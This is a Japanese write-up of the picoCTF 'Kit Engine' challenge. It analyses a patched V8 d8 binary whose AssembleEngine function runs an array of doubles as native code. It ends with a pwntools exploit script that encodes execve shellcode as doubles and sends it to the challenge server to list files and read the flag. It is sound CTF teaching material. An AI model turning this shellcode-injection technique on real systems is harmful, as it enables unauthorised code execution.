picoCTF Kit Engine Writeup [Binary Exploitation]

Kit Engine

必要なファイルを一式ダウンロードして展開すると以下のようなファイルが確認できます。

ファイル一覧

.
├── d8
├── server.py
└── source
    ├── Dockerfile
    ├── REVISION
    ├── build.sh
    ├── compile.sh
    └── patch

server.pyが怪しそうなので中身を確認すると以下のようなコードになっていました。

server.py

#!/usr/bin/env python3 

# With credit/inspiration to the v8 problem in downUnder CTF 2020

import os
import subprocess
import sys
import tempfile

def p(a):
    print(a, flush=True)

MAX_SIZE = 20000
input_size = int(input("Provide size. Must be < 5k:"))
if input_size >= MAX_SIZE:
    p(f"Received size of {input_size}, which is too big")
    sys.exit(-1)
p(f"Provide script please!!")
script_contents = sys.stdin.read(input_size)
p(script_contents)
# Don't buffer
with tempfile.NamedTemporaryFile(buffering=0) as f:
    f.write(script_contents.encode("utf-8"))
    p("File written. Running. Timeout is 20s")
    res = subprocess.run(["./d8", f.name], timeout=20, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    p("Run Complete")
    p(f"Stdout {res.stdout}")
    p(f"Stderr {res.stderr}")

server.pyの動作を要約すると、以下のようになります。

  • 標準入力から文字列を受け取り、d8に与えて実行

試しに、d8を実行してみると以下のようにインタプリタが起動します。

$ ./d8
V8 version 9.1.0 (candidate)
d8> 

V8 version 9.1.0 (candidate)という記述より、このプログラムがV8 JavaScript engineであることが分かります。 試しに、JavaScriptの文を入力してみると以下のようになります。

$ ./d8
V8 version 9.1.0 (candidate)
d8> console.log("HELLO");
HELLO
undefined
d8>

sourceディレクトリの中のファイルを見るとd8をビルドするための設定が記述されています。 Dockefileの中にpatchファイルを用いてパッチを当てるような記述が存在します。 patchファイルを確認すると以下のようなコードが存在します。

void Shell::AssembleEngine(const v8::FunctionCallbackInfo<v8::Value>& args) {
  Isolate* isolate = args.GetIsolate();
  if(args.Length() != 1) {
    return;
  }

  double *func = (double *)mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (func == (double *)-1) {
    printf("Unable to allocate memory. Contact admin\n");
    return;
  }

  if (args[0]->IsArray()) {
    Local<Array> arr = args[0].As<Array>();

    Local<Value> element;
    for (uint32_t i = 0; i < arr->Length(); i++) {
      if (arr->Get(isolate->GetCurrentContext(), i).ToLocal(&element) && element->IsNumber()) {
        Local<Number> val = element.As<Number>();
        func[i] = val->Value();
      }
    }

    printf("Memory Dump. Watch your endianness!!:\n");
    for (uint32_t i = 0; i < arr->Length(); i++) {
      printf("%d: float %f hex %lx\n", i, func[i], doubleToUint64_t(func[i]));
    }

    printf("Starting your engine!!\n");
    void (*foo)() = (void(*)())func;
    foo();
  }
  printf("Done\n");
}

上記のAssembleEngine関数の動作を要約すると以下の通りです。

  1. 引数(args)としてdouble型の配列を取得
  2. argsをメモリ(func)に配置
  3. funcを関数のバイナリであると解釈して実行

試しに、d8を起動してAssembleEngineと入力するとこの関数を呼び出せることが分かります。

$ ./d8
V8 version 9.1.0 (candidate)
d8> AssembleEngine
function AssembleEngine() { [native code] }
d8> AssembleEngine([0.0])
Memory Dump. Watch your endianness!!:
0: float 0.000000 hex 0
Starting your engine!!
Received signal 11 SEGV_MAPERR 000000000017

==== C stack trace ===============================

 [0x56428fcd0cd7]
 [0x7f0b7147c3c0]
 [0x7f0b714c2000]
[end of stack trace]
Segmentation fault

上記のことから、バイナリをdouble(JSだとnumber)型の配列に変換し、AssembleEngine関数に引数として与えてコールすれば任意のコードが実行できそうです。 そこで以下のコード(出典: picoCTF 2021 WriteUps | 廢文集中區)を利用し、execve("/bin/ls", ...)execve("/bin/cat", ...)のシェルコードをdouble型配列に変換して、サーバに送信します。

from pwn import *
import struct

context.arch = "amd64"
remote_port = 63943

def sc2dbls(sc):
    for i in range(0, len(sc), 8):
        blk = sc[i : i + 8]
        if len(blk) < 8:
            blk = blk + b"\0" * (8 - len(blk))
        yield str(struct.unpack("<d", blk)[0])


def sc2js(sc):
    items = ", ".join(sc2dbls(sc))
    assert not "nan" in items
    code = f"AssembleEngine([{items}])"
    return code


def run_js_remote(code):
    p = remote("mercury.picoctf.net", remote_port)
    p.sendlineafter(b"Provide size", str(len(code)))
    p.sendlineafter(b"Provide script", code)
    return p.recvall().decode()


ls = sc2js(asm(shellcraft.execve(b"/bin/ls", ["ls"])))
catflag = sc2js(asm(shellcraft.execve(b"/bin/cat", ["cat", "flag.txt"])))
print(run_js_remote(ls))
print(run_js_remote(catflag))

上記のプログラムのremote_portを自分のものに合わせて実行するとFlagを獲得することができます。